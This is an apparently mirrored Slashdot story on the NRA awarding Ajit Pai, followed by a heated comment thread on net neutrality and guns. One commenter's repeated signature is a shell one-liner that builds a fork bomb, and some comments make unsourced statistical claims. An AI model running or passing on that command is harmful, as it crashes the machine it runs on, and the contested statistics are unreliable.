Slashdot Mirror
NRA Gives Ajit Pai 'Courage Award' and Gun For 'Saving the Internet' (arstechnica.com)
The National Rifle Association (NRA) today gave its Charlton Heston Courage Under Fire Award to Ajit Pai, chairman of the Federal Communications Commission. "Pai was about to speak at the Conservative Political Action Conference (CPAC) in Maryland when the award presentation seemed to catch him by surprise," reports Ars Technica. "The award is a handmade long gun that could not be brought on stage, so it will be housed in the NRA museum until Pai can receive it." From the report: "Ajit Pai, as you probably already know, saved the Internet," American Conservative Union (ACU) Executive Director Dan Schneider told the audience. The ACU is the host of CPAC; Schneider made a few more remarks praising Pai before handing the award presentation over to NRA board member Carolyn Meadows. Pai "fought to preserve your free speech rights" as a member of the FCC's Republican minority during the Obama administration, Schneider said. Pai "fought and won against all odds, but the Obama administration had some curveballs and they implemented these regulations to take over the Internet." "As soon as President Trump came into office, President Trump asked Ajit Pai to liberate the Internet and give it back to you," Schneider added. "Ajit Pai is the most courageous, heroic person that I know."
The signature achievement that helped Pai win the NRA courage award came in December when the FCC voted to eliminate net neutrality rules. The rules, which are technically still on the books for a while longer, prohibited Internet service providers from blocking and throttling lawful Internet traffic and from charging online services for prioritization. Schneider did not explain how eliminating net neutrality rules preserved anyone's "free speech rights." Right Wing Watch posted a video of the ceremony.
The signature achievement that helped Pai win the NRA courage award came in December when the FCC voted to eliminate net neutrality rules. The rules, which are technically still on the books for a while longer, prohibited Internet service providers from blocking and throttling lawful Internet traffic and from charging online services for prioritization. Schneider did not explain how eliminating net neutrality rules preserved anyone's "free speech rights." Right Wing Watch posted a video of the ceremony.
Just wow. I really hope these motherfuckers have a good view of each other when they're burning in hell.
-- You are in a maze of little, twisty passages, all different... --
that I honestly laughed at this. It came across so powerfully as a funny parody, and I found myself laughing both before and after I realized that they're actually fucking serious. There are no words. Stick a fork in the ass of American social discourse and turn it over, because it is well and truly done.
'The Economy' is a giant Ponzi scheme whose most pitiable suckers are the youngest among us and the yet-unborn.
What's next, a lifetime achievement award for Harvey Weinstein?
SJW: Someone who has run out of real oppression, and has to fake it.
So both the NRA and FCC are run by idiots? Up until now I just thought they were random disconnected idiots. I guess it all makes more sense now.
But in any case why doesn't the NRA just stick to its guns? Is the NRA really just a front for rabid fascists?
I had to double-check the link wasn't to an Onion article. One of the most hated organizations in America praising one of the most hated individuals in America is just too Twilight Zone to wrap my brain around right now.
This is satire right? Isn't it? I keep looking for the tag but I can't find it.
Early April Fools prank? No? FFS what is going on?
...a lot of gun owners don't like the NRA. They seem to think the R stands for Republican.
Sadly this is not off topic:
https://www.theguardian.com/us-news/2018/jan/18/trump-nra-fbi-alexander-torshin-russia-investigation
The FBI is investigating whether a Russian banker with close ties to Vladimir Putin funneled money through the National Rifle Association to support Donald Trumpâ(TM)s presidential campaign....The NRA spent at least $30m to back Trumpâ(TM)s 2016 campaign for president...News outlets have been examining ties and meetings between NRA leaders and Russia for months, including a 2015 NRA delegation to Moscow that included meetings with influential Putin allies....
You get the picture?
At first I thought this had to be an Onion piece. The two most corrupt dirtbags, in the most corrupt political system outside a third world dictatorship, giving each other a hand job at CPAC.
This is the pathetic level to which conservatives have sunk.
That's our life, the big wheel of shit. - The Fat Man, Blue Tango Salvage
It should be obvious by now that guns didn't save our net neutrality, nor have they been saving us from a steady erosion of rights and freedom. Unfortunately, the fact this isn't obvious to many is the reason we have the problem. If things keep going this way, in 50 years autonomous weapon systems will render guns completely worthless with respect to resisting the government which was supposed to be the point.
AFACT, absolutely nothing, other than that they both hold policy positions that antagonize liberals.
The fact that they are giving each other awards suggests to me that the only thing holding the Republican Party together these days is their collective urge to "piss on the other team".
Fun, in a sort of Lord-of-the-Flies, junior-high-locker-room-towel-snapping sort of way, but not exactly a viable long-term philosophy for running a first-world country. Hopefully when the Republicans get their asses handed to them by voters this fall they will remember that they are expected to serve the country's interests, not just snap towels at the nerds.
I don't care if it's 90,000 hectares. That lake was not my doing.
I can't imagine why the NRA would do this. The NRA has a very specific purpose. Well actually there are two NRA groups, each with a specific purpose. One does gun-related safety training and such, the other defends the second amendment in the political arena. Neither has any business taking a stand on any particular regulations related to things around principles of network neutrality. It's not what they were created and funded to do.
with a bar of soap.
Listening to CPAC on CSPAN today I couldn’t believe how deranged these people all seem. I really feel like the NRA was threatening armed insurrection if Donald Trump is removed from office. Core beliefs: there is no Global Warming (or doesn’t matter much); Democrats and liberals are part of a Socialist plot to take all our rights away; immigrants are destroying our culture; everyone who needs (deserves) healthcare will have it (only lucky well-paid working people deserve it); luck and privilege are not factors in obtaining wealth, only hard work is.
When Trump goes down (and he will) I fear what these groups will do. They’ve made it clear what their guns are for when push comes to shove.
Letter To Iran
I think this post is bull. There's NOTHING on the NRA's website about this. You'd think there would be.
Here you have it folks, a perfect example of fascism at work. Corporations slowly but surely establishing their power over governement and the people. Legislators, media, weapons, etc. All the tools necessary to enforce totalitarism.
And they'll succeed, too, because a little more than half of the population are too ignorant, clueless and gullible to see what's going on.
"All it takes for evil to triumph is for good men to do nothing". And these days, I see a hell of a lot of good men doing a hell of a lot of nothing.
...when digital stream services start dropping NRAtv and they complain about large media companies censoring them.
I do not have a gun. But, maybe, I ought to join the NRA now...
I would've already, but I don't want yet another vast organization to know my address and bombard me with various marketing material.
In Soviet Washington the swamp drains you.
I shot competitively for a few years and I was a member of the NRA to keep track of my progress. I didn't agree with them 100%, but I supported their defense of the 2nd amendment in principle - and on a number of their talking points - so I was fine with paying for membership. Then they started going in the direction of being a mouthpiece for the far right with shit like this.
There are many moderates and even *gasp* liberals who like guns! If my experience is an indication of the rest of the country's gun-owning-but-not-far-right population, the NRA is going to continue losing membership and support. I may consider renewing my membership if they ever go back to what they used to be, but in the meanwhile I'll direct my money and energies elsewhere.
- "Nobody came out that night, not one was ever seen. But Old Man Stauf is waiting there, crazy sick and mean!"
The NRA is owned by industry, the issue group front is just to make them more powerful lobbyist. The drug industry would love to hijack the AARP like the NRA has been.
They want you for the influence you can give them and nothing more.
Democracy Now! - uncensored, anti-establishment news
As the Marine general said the other day "Do those people not understand one company of Marines can take out an entire small city?" The only thing it's guaranteeing is your ability to shoot up your neighbors.
They really buried the lede in this story. See that part where it says the NRA gave Pai the rifle, but he couldn't bring it on stage with him at CPAC? Do you know why Pai couldn't bring his prize with him on stage at CPAC? Because CPAC, with all it's gunhumping and masturbatory 2nd Amendment cosplay is a gun-free zone.
Got that? The "Conservative Political Action Conference" with its keynote from Wayne LaPierre and wild cheering for the notion of giving schoolteachers guns and for watering the tree of liberty, and a good-guy with a gun horseshit does not allow guns at its conference.
Conservatives - there is just no bottom to their hypocrisy.
https://i.redditmedia.com/vzdl...
You are welcome on my lawn.
are taking over the world. Simply by naive [belief-based] popular memes and population numbers. This is exactly how Brexit and Trump election has been tilted - just show some catchy internet memes to vast majority of uneducated idiots.
They have and continue to support mass murder. Any politician, from any party, who accepts their money, should be thrown out of office. Once we've purged the parasite that is the NRA, we can start working on repealing the 2nd amendment.
Literally could not get more American. [...] he's going to arm teachers, thereby removing the overwhelming majority of gun-free zones in the US, is fucking amazing
If you define the core of Americanness as mass shootings, then yes, that would literally not be more American. I greatly enjoyed my stay in the US, and while I'm not sure I could define precisely what constitutes "American", I am 100% sure that mass shootings is not it.
SJW n. One who posts facts.
Then the second amendment will be amended to give the guns to the MPAA / RIAA / AT&T / Comcast so they can shoot you for being a pirate, while blocking your ability to bitch about not having a fair trial.
It's probably up to the venue and not CPAC.
BTW guess how many percent of mass shootings took place in gun free zones?
https://www.dailywire.com/news...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The NRA is the drunk Uncle who stands up and gives a solo round of applause during the middle of a funeral.
-- Powered by GNU/Linux
Yes, because kids going to school under the barrel of a gun really screams "freedom".
No, it actually screams dystopian police state nightmare. It's the very anti-thesis of freedom when kids have to go to school on the barrel of a gun of the authorities, in fact, it's probably the most un-free scenario imaginable.
The more you equip people with arms, the more people are prevented from being truly free, because they're only moments away from someone who is anti-freedom taking their life because they didn't like their opinion. This inherently kills off freedom of expression and turns everyone into compliant drones.
You think your leader is enhancing freedom and liberty, really, he's just taking it from you piece by piece - he's made sure him and his pals get more money, he's made sure people that share his view are more free to oppress others with firearms, he's killing the ability for people to spread information freely on the internet unless they can pay to do so.
This isn't freedom, this is the very definition of real, actual fascism, and you're supporting it.
They condemn the school guard who waited 4 minutes (sic) with his pistol outside.
When 2 patrolmen see 1 guy wielding a revolver in a bank full of people, the call for reinforcement, block the streets, call SWAT, FBI and whatnot... and those guys have bulletproof vests, shotguns ...
And this single guy was supposed to go against an unknown number of killing, suicidal shooters on speed, with armor, assault guns, large mags with armor-penetrating ammo with his pistol alone?
And he didn't even know where in the building they were.
Are they crazy?
Same thing for arming teachers, what are they going to do?
They will sit in a wardrobe with their .38 in hand shitting their pants and then accidentally kill the student who wants to seek refuge in the same wardrobe.
Carolyn Meadows of the National Rifle Association (NRA), who is also and member of the American Conservative Union (ACU), gave the ACU's Charlton Heston Courage Under Fire Award to Ajit Pai.
Irony is that by celebrating the end of Net Neutrality, they're opening up the possibility for ISPs to block the NRA!
I mean, gun owners are a fairly hard core group, so why shouldn't ISPs now create a "gun lover's package" or set of packages? Access to the NRA and other gun related forums all for another $50 a month? Less than what you spend on ammo a month!
And the NRA's cheering the guy that's making it happen...
Posting anon on purpose.
NRA doesn't seem to grasp the purpose of the second amendment, IMHO.
The sole purpose of keeping and bearing arms for the public is so they can overturn a government that doesn't serve the people.
That was fine at the time the constitution was written, but now it's not enough to own a rifle if you want to make sure the government doesn't oppress it's people.
Internet, social media and mobile phones has made mass surveillance and profiling of the entire population almost a trivial task.
Want to know who has opposing political views? Want to know who their friends are?
Want to know who they meet?
It's just a query away.
Mass surveillance is now a much more dangerous tool for those wanting to oppress a population than guns ever was. And having one yourself doesn't help at all. The Arab-spring let people to believe that social media empowered people, but that is only true if the ones that oppress do not control all platforms. Turned against the people it's a scary tool.
The NRA should not get involved on the corporate side of regulating the internet. If they want to protect the 2nd amendment and it's true purpose then they should consider who they publicly support. A guy who wants to take away the right for people to use the internet outside of the walled gardens of corporations does not have the people best internest at heart.
You know you could provide counter examples, if you can find them.
Let me beat you to it by numerous decades: "Political satire became redundant when Henry Kissinger was awarded the Nobel Peace Prize." Tom Lehrer, probably sometime in the seventies.
The left in the USofA is at best a single digit percentage of the population and you give them that much credit?
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
If anyone needed a practical real world example of the filthiest scum circle jerking while they slowly ruin the country, this is it. I expect Trump to come in and serenade them both with a speech on tax cuts.
A great but cynical metaphor :)
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
Very well said, pity you did it as an AC.
Presidents of the USofA should not be in that position purely for the party that supported their election but instead to bring all Americans together to form a stronger nation.
Trump with his Pai and NRA is only making the divisions deeper.
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
"The Left" is the specter named by the Fox News talking heads, and Limbaugh and Jones' two minutes of hate radio shows. It doesn't matter what's really left or right anymore- they just need a bad guy.
No idea if the corresponding media sources on "the left" are as bad about calling things "The Right", because I don't really watch that shit.. I have a nausea-inducing aversion to feeling like I'm standing in an echo chamber, and I don't really need to hear Rachel Maddow drum up stupid fucking reasons for me to be liberal, or construct dumb ass arguments for why that's better than conservative.
All I know is I don't even know if it's politics anymore... It's something sicker than that.
America has never really had a left-wing, and these guys aren't quite Nazis, yet. But they're talking more and more like them.
Is ANYONE going to service their argument that the repeal protected free speech?
Is ANYONE going to service the pro-repeal argument at all?
Or are you just going to gibber like beasts pretending your opponent is another species?
Because in case you didn't notice, your attitude is fomenting a civil war.
And by God, you deserve to lose it.
My karma was manually wiped by site staff https://slashdot.org/~slshdtisctrldbysjws 18 mod up, 10 mod down = bad karma
The NN legislation of Obama was not perfect but why in the world could you claim doing away with such would improve access for everyone?
The Pai legislation is only positive for the wealthiest of companies, the rest are left by the wayside.
Pai's legislation (or lack thereof) is like admitting the guy with the biggest truck always has the right of way.
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
You mean these freedom loving thugs couldn't find a more liberal minded (freedom to tote) venue?
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
CPAC could have chosen another venue, couldn't they? I'm not sure why you're giving them a free pass, especially given how it puts their delegates at risk per the article you linked to.
The one in Florida just over a week ago, had an armed officer who was too scared to go in and confront the shooter.
This was a trained professional to respond to these situations.
You probably think teachers are going to be better trained than a police officer to respond to an active shooter. Are teachers going to get hazard pay now?
"Action without philosophy is a lethal weapon; philosophy without action is worthless."
The POTUS and VP were there. Which probably means there's a very high level of security. Barriers round the event and a metal detector check for people going in. It's not exactly a gun free zone though - I bet it was crawling with cops, FBI, secret service, private security and so on.
And it's very much not the same sticking up a sign that says 'gun free zone' in front of a school and not having armed guards and entry/exit checks.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It wasn't just one officer
https://edition.cnn.com/2018/0...
The resentment among Coral Springs officials toward Broward County officials about what they perceived to be a dereliction of duty may have reached a boiling point at a vigil the night of February 15, where, in front of dozens of others, Coral Springs City Manager Mike Goodrum confronted Broward County Sheriff Scott Israel. A source familiar with the conversation tells CNN that Goodrum was upset that the Broward deputies had remained outside the school while kids inside could have been bleeding out, among other reasons.
So your position is "You don't need guns, the police will protect you. Oh wait, the police didn't protect you? What makes you think teachers would protect their kids?"
Surely you can why some people are going to say "If the cops won't protect our kids, why can't we do it?"?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The POTUS and VP were there. I think the chance of a mass shooting was pretty low given the extreme security that implies.
I.e. there's a difference between CPAC - a venue with a wall around it and the FBI/secret service/cops/private security protecting it and only letting people in if they pass through an airport type security check and a school where there's a 'This is a gun free zone. Pls respect this and do your shooting spree somewhere else' sign and no armed guard, no wall and probably no airport security check.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I believe an Axis of Fuckwittery is emerging.
My high school was a gun-free zone simply because no one ever thought of bringing a gun to school. We settled disputes the old-fashoined way. With our fists.
Roger Stone, Trumpy advisor, already warned that getting rid of The Donald would result in Civil War.
I'm happy to call his bluff and take the chance.
The NRA is FUCKING joke! They are not the friend of gun owners. They were instrumental in the passing of the 1968 Gun Control Act. They are fine with banning of bump stocks. Oh but they were used to kill people. in ONE FUCKING incident because some terrorist used one. There are millions of them out there. But people forget automobiles kill more people than bump stocks do or more than guns do. Why are liberals all over TV going ape shit to ban automobiles???? Trump is a FUCKING joke! He is no more qualified to be president than Hillary "canckles" Clinton is.
The INTENT of the founding fathers for the 2nd Amendment. All the liberal interpretations are DEAD wrong. Even some sloppy second conservatives have it wrong. Try reading the Federalist and Anti-Federalist papers.
Heck Democrats The "party of Jefferson" doesn't have a FUCKING clue what his stance on the 2nd Amendment was.
Let me educate you!
"The strongest reason for the people to retain the right to keep and bear arms is, as a last resort, to protect themselves against tyranny in government."
- Thomas Jefferson (1743-1826)
"Laws that forbid the carrying of arms disarm only those who are neither inclined nor determined to commit crimes. Such laws make things worse for the assaulted and better for the assailants; they serve rather to encourage than prevent homicides, for an unarmed man may be attacked with greater confidence than an armed one."
- Thomas Jefferson (1764), quoting 18th century criminologist Cesare Beccaria in "On Crimes and Punishment."
"A strong body makes the mind strong. As to the species of exercises, I advise the gun. While this gives moderate exercise to the body, it gives boldness, enterprise and independence to the mind. Games played with the ball, and others of that nature, are too violent for the body and stamp no character on the mind. Let your gun therefore be your constant companion of your walks."
- Thomas Jefferson to Peter Carr, 1785. The Writings of Thomas Jefferson, (Memorial Edition) Lipscomb and Bergh, editors.
"One loves to possess arms, though they hope never to have occasion for them."
- Thomas Jefferson to George Washington, 1796. The Writings of Thomas Jefferson, (Memorial Edition) Lipscomb and Bergh, editors.
"We established however some, although not all its [self-government] important principles . The constitutions of most of our States assert, that all power is inherent in the people; that they may exercise it by themselves, in all cases to which they think themselves competent, (as in electing their functionaries executive and legislative, and deciding by a jury of themselves, in all judiciary cases in which any fact is involved,) or they may act by representatives, freely and equally chosen; that it is their right and duty to be at all times armed;"
- Thomas Jefferson to John Cartwright, 1824. Memorial Edition 16:45, Lipscomb and Bergh, editors.
"No freeman shall ever be debarred the use of arms."
- Thomas Jefferson: Draft Virginia Constitution, 1776.
"[E]very able-bodied freeman, between the ages of sixteen and fifty, is enrolled in the militia... The law requires every militia-man to provide himself with the arms usual in the regular service."
-Thomas Jefferson, Notes on Virginia, Quivery IX
What did George Washington thing about it.
Well - lets see:
"Firearms stand next in importance to the constitution itself. They are the American peopleâ(TM)s liberty teeth and keystone under independence ⦠from the hour the Pilgrims landed to the present day, events, occurrences and tendencies prove that to ensure peace security and happiness, the rifle and pistol are equally indispensable ⦠the very atmosphere of firearms anywhere restrains evil interference â" they deserve a place of honor with all thatâ(TM)s good."
- George Washington, First President of the United States
"The very atmosphere of firearms anywhere and everywhere restrains evil interference â" they deserve a place
The Truth is a Virus!!!
is anyone else bored with this topic? The people in power do whatever they want, and when they're writing the history books they're going to say americans were overjoyed at the prospect of the usa government attempting to coup the internet with regulations or lack thereof. Same story, different headline. Yawn.
You're missing the point I was making. CPAC believes free citizens should not be disarmed. Why would it choose a venue where its delegates are required to be disarmed. Why should its delegates disarm just because the President attends? Does 2A include a qualifier along these lines? Quite the opposite: the NRA explains that the right to bear arms is explicitly to protect against government tyranny. What are all these 2A defenders *doing*, allowing themselves to be disarmed in the presence of the person who above all embodies the government? That is a symbolic strike against 2A, and ought to be morally unconscionable to them. "But they support Trump", you may say. "Why would they want to carry guns when they support the government". That is precisely the kind of woolly-minded thinking that's got us into this mess. No government ought to get a pass just because a voter happens to agree with its ideology. Voters are supposed to be continuously cautious about *any and every* government, not matter its political complexion (if you'll forgive the indelicate allusion). And that continuous caution is supposed to be expressed in the form of open and concealed carry.
The NN legislation of Obama was not perfect
Right. Because it wan't legislation. There was no legislation.
The Pai legislation
There is no Pai legislation. Removing an executive branch rule made just a couple of years earlier is not "legislation."
Pai's legislation (or lack thereof) is like admitting the guy with the biggest truck always has the right of way.
No, it's like saying that person who builds and owns a network can run decide how to run that network in the way that best makes it possible for them to keep it running at a price they can pass along competitively. There is no internet, but there are lots and lots of individual networks owned and operated by different types of entities. Forcing some small rural network operator to allow YouTube to swamp their limited microwave bandwidth with cat videos while the remote-working customers trying to stream a community college's math class get buffered is exactly what we're talking about. The "big truck" you SHOULD be worrying about is Google, or Facebook - and you want to deny network operators the right to tell those guys they don't own the local network.
Don't disappoint your bird dog. Go to the range.
This sounds to me like there was sort of deal struck between the Trump administration and NRA. The NRA is suddenly spouting of anti-net neutrality rhetoric, which seems off topic for them, and after the latest school shooting the Trump administration is trying to shift blame away from guns and place it on anything else.
In fairness, that didn't sound like the GP's position at all. The argument generally goes something like:
NRA: "You don't need to tweak the existing gun laws, we can just station armed guards at schools, that'd be a deterrent, and will save lives if someone isn't deterred, which never happens. Nothing could possibly go wrong."
(Mass shooting. Armed guard is completely ineffectual, even more than predicted.)
Non-NRA: "Uh, that didn't work. I mean, even if he'd fucking done his job, most of the dead kids would still be dead."
NRA: "Well why don't we arm teachers then?"
Non-NRA: "A trained professional got scared, and you think arming teachers would help? And did you miss the part that the armed guard only made the decision whether to get involved after kids were already dead?"
"NRA: Uh, fake news! Those kids were coached! And they're actors! Shut up shut up!"
Here's a better idea, let's see what we can do to keep weapons that make it easy to kill large numbers of people out of, well, at least the hands of those who are likely to abuse them.
I know that's a different argument. I know that both the NRA nutjobs and Brady buffoons (who will slowly realize I'm not talking about the AWB) are already pissed enough to be furiously clicking on keyboards demanding I be hung drawn and quartered, but it really isn't that difficult.
If it's not a .22LR or similarly weak weapon, and it has a detachable magazine, or accepts more than a handful of cartridges, then you go through a REAL background check. None of this "Has he ever committed stock fraud? OMG we can't let Martha Stewart own a gun! Oh, but this teenager with anger issues is fine" BS we currently do, but a check like you'd get in Europe - letters of recommendation from professionals, a psych evaluation, consent of local law enforcement. And you need to state a reason for having one, no "I want to pose with it on YouTube" excuses.
Everyone continues to have the right to defend themselves. Everyone continues to have the right to shoot deer. But only people who are highly unlikely to shoot up a school or office or church gets to own something that could plausibly be used to shoot up a school or office or church.
And the best part is, no teachers get blamed for preventing a mass shooting because they were frozen with fear in a situation their professional training and aptitude was never suited for.
You are not alone. This is not normal. None of this is normal.
"NRA: Uh, fake news! Those kids were coached! And they're actors!
I think the 'crisis actors' thing is bullshit too. I'd say if some of the teachers were allowed to concealed carry, maybe one of them would have shot the nutter without having to wait for the cops to decide to do something. And we know the cops held off on entering the building. In which case why not let staff with a concealed carry permit to carry guns into the building.
As Trump put it
https://www.vox.com/policy-and...
So we want to hear ideas from Americans of all backgrounds and beliefs about how we can improve security at our schools, tackle the issue of mental health because this was a sick person. Very sick. And we had a lot of warning about him being sick. This wasn't a surprise. To the people that knew him, this wasn't even a little bit. In fact, some said we're surprised it took so long. So what are we doing? What are we doing?
We want to ensure that when there are warning signs, we can act and act very quickly. Why do we protect our airports and our banks, our government buildings, but not our schools. It is time to make our schools a much harder target for attackers. We don't want them in our schools. We don't want them. When we declare our schools to be gun-free zones, it just puts our students in far more danger. Far more danger.
Well trained, gun adept teachers and coaches and people that work in those buildings, people that were in the Marines for 20 years, and retired, people in the Army, the Navy, the Air Force, the Coast Guard, people that are adept, adept with weaponry, and with guns, they teach.
I mean, I don't want to have 100 guards standing with rifles all over the school. You do a conceal carry permit. And this would be a major deterrent, because these people are inherently cowards. If they thought like if this guy thought that other people would be shooting bullets back at him, he wouldn't have gone to that school. He wouldn't have gone there. It is a gun-free zone. It says this is a gun-free zone. Please check your guns way far away. And what happens is they feel safe. There is nobody going to come at them. This way you may have - and, remember, if you use this school as an example, this is a very big school. With tremendous floor area and a lot of acreage, a big, big school, good school. A big, big school. You would have to have 150 real guns.
Look, you had one guard, he didn't turn out to be too good, I will tell you that. He turned out to be not good. He was not a credit to law enforcement that I can tell you. That I can tell you. But as I have been talking about this idea, and I feel it is a great idea, but some people that are good people are opposed to it, don't like the idea of teachers doing it, I'm not talking about teachers.
CNN went on, they said, Donald Trump wants all teachers, okay, fake news, folks. Fake news. News. I don't want a person that has never handled a gun that wouldn't know what a gun looks like to be armed.
But out of your teaching population, out of your teaching population, you have 10 percent, 20 percent, very gun adept people. Military people, law enforcement people, they teach. They teach. And something I thought of this morning, you know what else, I thought of it since I found and watched Peterson, the deputy who didn't go into the school, because he didn't want to go into the school, okay. He was tested under fire and that wasn't a good result. But you know what I thought of, as soon as I saw that, these teachers, and I've seen them, and a lot of schools where they had problems, these teachers love their students and the students love their teachers in many cases. These teachers love their students. And these teachers are talented with weaponry and with guns. And that's - they feel safe.
And I would rather have somebody that loves their students and wants to prote
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's way simpler...
To fools, it always is.
Does someone have a mirror for that site? My ISP is blocking the domain.
Have gnu, will travel.
You missed my point.
If someone who has gone through the training to "serve and protect" wilted in the face of danger, do you think people who have been trained to teach kids are going have better reactions?
Now if they were locked in their room with their students and a gunman enters.. yes, I believe they would do their best to defend the students. As for seeking out the gunman in the halls? Yeah, doubtful.
What I hate are the armchair warriors that come out and say "well, if I was there with a gun I would have ended it..." bullshit.. you and like almost every other sane person on the planet would look to preserve your own life unless it was inevitable there would be a direct confrontation.
I'm not scared to admit it.. if I were in that position and I had a gun, my first action would be to find a defensible location with good sightlines. I would sit there until I could either ambush the shooter or until the professionals cleared the building.
More guns to solve our gun issue.. just doesn't sound like a good idea to me. I don't have a good response.. it might be too late considering how many guns exist already.
"Action without philosophy is a lethal weapon; philosophy without action is worthless."
Nor has Nancy Pelosi explained her claim that rolling back the "Net Neutrality"* rules would result in "chilling competition, hurting consumers and punishing entrepreneurs and small businesses".
* Quoted because the rule change covered much much more than that.
The more you equip people with arms, the more people are prevented from being truly free, because they're only moments away from someone who is anti-freedom taking their life because they didn't like their opinion.
You're a fool. America leads the world in gun crime, if you subtract the 4 cities with the strictest gun laws from that statistic America has the least gun crime. Those 4 cities all have outlawed guns, gun regulations don't work, they're just the wet dream of corrupt politicians who are sick of having to appeal to voters instead of taking bribes and slaughtering anyone who objects.
Are you fucking retarded? Trumps approval is the highest of any president in living memory, he's doing more to unite people behind him than anyone has recently. You crazy bastards who want don't understand the world but have really strong opinions on it regardless are just easily manipulated by those willing to tell you whatever the Hell they please because you'll lap it up and ultimately overlook everything they actually do because you accept the lame excuses of "the other guys didn't let me do what I said, even though I managed to fuck you in several dozen completely new ways without an issue." America is more united now than it has been at least since I've been alive, and that union is against the corruption.
Forcing some small rural network operator to allow YouTube to swamp their limited microwave bandwidth with cat videos
isn't what happens in the first place. YouTube doesn't just say "hey, this guy's getting cat videos forced down his internet connection today"; if that were happening, you'd find a lot more people siding with you, but the reality is that the ISP's customer is requesting the cat videos.
If the ISP only has enough bandwidth available to serve 128Kbps to each of their customers, they're perfectly welcome to sell that instead of the 5Mbps that allows that customer to request the cat videos and swamp the bandwidth in the first place. It's not YouTube causing the problem, it's the ISP's over -commission of their resources allowing users to cause the problem.
Restated yet another way, if the ISP didn't sell the remote-working customer more bandwidth than they could provide, there would be no problem.
Why are you defending the cause of the problem and insisting that solving it be someone else's problem?
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
A White Feather
Of course this is driven by the behavior of some (or even most) of the customers on a given ISP's network. Their TiVo is awake at 3:00 downloading "suggested shows" for them without them given it another thought. The point is that if the ISP wants to promote their services in a small down in part based on the fact that they're going to guarantee a certain level of service to kids trying to access the local school district's or college's materials, isn't that up to them? If they have to shape traffic to favor the teleworker they promised to help out, isn't it up them to risk losing business from the shut-in who now much occasionally see some buffering on a cat video? The ISP can and should make those decisions based on their own priorities and findings and plans.
Don't disappoint your bird dog. Go to the range.
Why is your content any more important than mine?
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Sorry for the double reply, but a point slipped past me this first time around. To go records cable broadcasts, it doesn't download shows over the internet. Program guide info, sure, but I doubt that a few KB of guide data is clogging the pipes. You display a severe lack of understanding of the topics being discussed.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
This is why I don't post on mobile... "TiVo", not "To go".
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
You are aware that America has more gun crimes than any other nation on Earth by a wide margin.
Yep.
You are not aware that if you subtract the 4 cities with the strictest gun laws from the population America has the lowest rate of gun crimes. Regulation doesn't work.
That sounds entirely made up. Stats or it didn't happen.
You mean to say, you aren't even a fucking American
Yes that is entirely correct.
and you are commenting on our internal affairs?
No taxation without representation, right? I lived there and paid my taxes. That more than gives me the right, nay the duty, to hold forth on an internet forum.
I hope they throw you in gitmo for interfering with our affairs, scum.
Congress shall make no law [...] abridging the freedom of speech,
See how there's nothing about citizens anywhere in there? Your attitude makes you a traitor to the consitution. Thankfully many people have sworn to defend it from enemies both foreign and domestic.
SJW n. One who posts facts.
I can't imagine why the NRA would do this. ... Neither [the "university of firearms" nor the "preserve firearms civil rights" branch] has any business taking a stand on any particular regulations r[e]lated to things around principles of network neutrality.
That's because it's not about network neutrality. It's about coolly sticking to your principles and working toward your goals (especially politically-charged goals) in the face of threats and pressure. (That falls under the "preserve civil rights" branch for several reasons.)
"The rifle is awarded 'when someone has stood up under pressure with grace and dignity and principled discipline ...'' "Previous recipients of the award include Vice President Mike Pence and Sheriff David Clarke."
Don't think the pressure on Agit Pai was great? Don't think it might have turned violent? Just look at the postings here, and in the flood of previous articles mentioning him on Slashdot. Then look at things like the demonstrations in front of his house, with signs attacking his children and other family members (while also engaging in other constant harassment, such as ordering pizzas in his name every half hour).
Then think of them in the context of other demonstrations at the time, blocking conservatives or others with non-leftist ideas from speaking on college campuses, with gangs of masked thugs beating people using Krav Maga destroy-your-opponent fighting techniques or smashing skulls with bicycle locks (all on the premise that politically incorrect speech is an "attack" suitable for being "defended against" using deadly force). What might they have done to someone they perceived as not just talking against their interests, but making an actual change in a government policy?
That is exactly the kind of powerful opposition that the civil rights branch of the NRA is dedicated to enabling people to survive, and to work for their own goals despite such pressure. Whether it's coming from the Antifa, the KKK, government agent provocateurs, foreign "meddlers", political parties, organized crime, racists, or whatever.
(It's also the kind of pressure the NRA itself is subjected to, in its efforts to preserve civil rights for its supporters and detractors alike. So the NRA also benefits by reminding others about the similarity of its own struggle to that of the person they're honoring.)
Ever wonder why I post under a handle? Among other politically-incorrect things, I've been saying for years that most of the problems that "Net Neutrality" tries to address are either anticompetitive practices or consumer fraud, and that both are better handled by the FTC than the FCC. What Pai got his award, and massive threats and harassment, for, is working toward half of that change. I have no interest in being on the receiving end of even the petty harassment (such as complaints to my employers or pizza orders), let alone crowds on my lawn threatening me and my family.
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
We have three TiVo units in this house. They DO download schedule info, yes. And of course record material coming over the cable/fiber in traditional "broadcast" mode ... but also streamed material from various sources. Depends on how you have things configured. TiVo dumps non-"broadcast" content on us all the time, like back-episodes of things we're watching, fetched from on-demand type sources, when we've neglected to tell it not to include streamed sources in the "one pass" settings.
Don't disappoint your bird dog. Go to the range.
You sure it's saving those locally and not just streaming them on-demand? It sure seems as though the streaming services all have something in their terms of service forbidding that.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
You missed my point.
If someone who has gone through the training to "serve and protect" wilted in the face of danger, do you think people who have been trained to teach kids are going have better reactions?
Maybe there is another way to go.
Kendra St. Clair: Oklahoma Girl, 12, Shoots Intruder During Home Burglary
Girl, 11, scares off home intruder with shotgun
